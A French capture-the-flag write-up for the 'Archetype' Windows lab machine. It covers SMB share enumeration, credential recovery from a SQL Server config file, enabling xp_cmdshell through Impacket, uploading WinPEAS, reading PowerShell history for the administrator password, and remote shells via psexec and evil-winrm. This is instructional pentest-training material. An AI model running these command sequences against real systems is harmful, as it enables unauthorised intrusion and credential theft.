Archetype
| OS | Difficulty | Target |
|---|---|---|
| Windows | VERY EASY | 10.129.x.x |
Résumé
Archetype est une machine Windows qui illustre des erreurs de configuration courantes en environnement d’entreprise. L’accès initial est obtenu via un partage SMB exposé contenant des identifiants de base de données. Ces identifiants permettent de se connecter à un serveur Microsoft SQL Server où l’exécution de commandes est activée. L’escalade de privilèges est réalisée en découvrant les identifiants administrateur dans l’historique des commandes PowerShell.
Reconnaissance
Scan de ports
nmap -sC -sV -T4 <TARGET_IP>Ports ouverts :
| Port | Service | Version |
|---|---|---|
| 135 | MSRPC | Microsoft Windows RPC |
| 139 | NetBIOS-SSN | Microsoft Windows netbios-ssn |
| 445 | SMB | Windows Server 2019 Standard |
| 1433 | MS-SQL-S | Microsoft SQL Server 2017 |
| 5985 | WinRM | Microsoft HTTPAPI httpd 2.0 |
Enumération SMB
Lister les partages disponibles avec accès anonyme :
smbclient -N -L \\\\<TARGET_IP>Résultat :
Sharename Type Comment--------- ---- -------ADMIN$ Disk Remote Adminbackups DiskC$ Disk Default shareIPC$ IPC Remote IPCLe partage backups est accessible sans authentification.
Accès initial
Exploration du partage SMB
Connexion au partage backups :
smbclient //<TARGET_IP>/backups -Nsmb: \> ls . D 0 Mon Jan 20 13:20:57 2020 .. D 0 Mon Jan 20 13:20:57 2020 prod.dtsConfig AR 609 Mon Jan 20 13:23:02 2020
smb: \> get prod.dtsConfigDécouverte d’identifiants
Le fichier prod.dtsConfig (configuration SQL Server Integration Services) contient des identifiants de base de données :
<DTSConfiguration> <Configuration ConfiguredType="Property" Path="\Package.Connections[Destination].Properties[ConnectionString]" ValueType="String"> <ConfiguredValue> Data Source=.; Password=**REDACTED**; User ID=ARCHETYPE\sql_svc; Initial Catalog=Catalog; Provider=SQLNCLI10.1; </ConfiguredValue> </Configuration></DTSConfiguration>Identifiants trouvés :
- Utilisateur :
ARCHETYPE\sql_svc - Mot de passe :
**REDACTED**
Prise de contrôle (Foothold)
Connexion au serveur MSSQL
Installation d’Impacket (si pas déjà installé) :
python3 -m venv impacket-venvsource impacket-venv/bin/activategit clone https://github.com/fortra/impacket.gitcd impacketpip install .Connexion au serveur SQL avec les identifiants découverts :
python examples/mssqlclient.py ARCHETYPE/sql_svc:'<PASSWORD>'@<TARGET_IP> -windows-authActivation de l’exécution de commandes
Vérifier si on a les privilèges sysadmin :
SELECT IS_SRVROLEMEMBER('sysadmin');-- Retourne : 1 (Vrai)Activer xp_cmdshell pour l’exécution de commandes :
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;Vérifier l’exécution de commandes :
EXEC xp_cmdshell 'whoami';archetype\sql_svcFlag user
xp_cmdshell type C:\Users\sql_svc\Desktop\user.txt**REDACTED**Escalade de privilèges
Enumération avec WinPEAS
Uploader WinPEAS sur la cible :
# Télécharger WinPEAS localementwget https://github.com/peass-ng/PEASS-ng/releases/latest/download/winPEASx64.exe
# Dans le shell mssqlclient, utiliser la commande uploadupload winPEASx64.exe C:\Users\Public\winpeas.exeExécuter WinPEAS et sauvegarder la sortie :
xp_cmdshell C:\Users\Public\winpeas.exe > C:\Users\Public\output.txtxp_cmdshell type C:\Users\Public\output.txtDécouvertes importantes
1. SeImpersonatePrivilege activé
SeImpersonatePrivilege: SE_PRIVILEGE_ENABLED_BY_DEFAULT, SE_PRIVILEGE_ENABLEDCe privilège pourrait être exploité avec des outils comme PrintSpoofer ou JuicyPotato.
2. Fichier d’historique PowerShell
PS history file: C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txtLecture de l’historique PowerShell
xp_cmdshell type C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txtSortie :
net.exe use T: \\Archetype\backups /user:administrator **REDACTED**Identifiants administrateur trouvés !
Obtention du root
Connexion en tant qu’administrateur
Avec psexec.py d’Impacket :
python examples/psexec.py 'administrator:<PASSWORD>@<TARGET_IP>'Alternative avec Evil-WinRM (le port 5985 est ouvert) :
evil-winrm -i <TARGET_IP> -u administrator -p '<PASSWORD>'Flag root
type C:\Users\Administrator\Desktop\root.txt**REDACTED**Outils utilisés
| Outil | Utilisation |
|---|---|
| nmap | Scan de ports et énumération des services |
| smbclient | Enumération des partages SMB et téléchargement de fichiers |
| Impacket (mssqlclient.py) | Connexion MSSQL et exécution de commandes |
| Impacket (psexec.py) | Exécution de commandes à distance en tant qu’Administrateur |
| WinPEAS | Enumération pour escalade de privilèges Windows |
Points clés à retenir
- Fichiers sensibles dans les partages SMB - Les fichiers de configuration contiennent souvent des identifiants
- MSSQL xp_cmdshell - Quand activé, permet l’exécution de commandes sur le système
- Historique PowerShell - Contient les commandes précédemment exécutées, potentiellement avec des identifiants
- SeImpersonatePrivilege - Les comptes de service ont souvent ce privilège, permettant des attaques par usurpation de token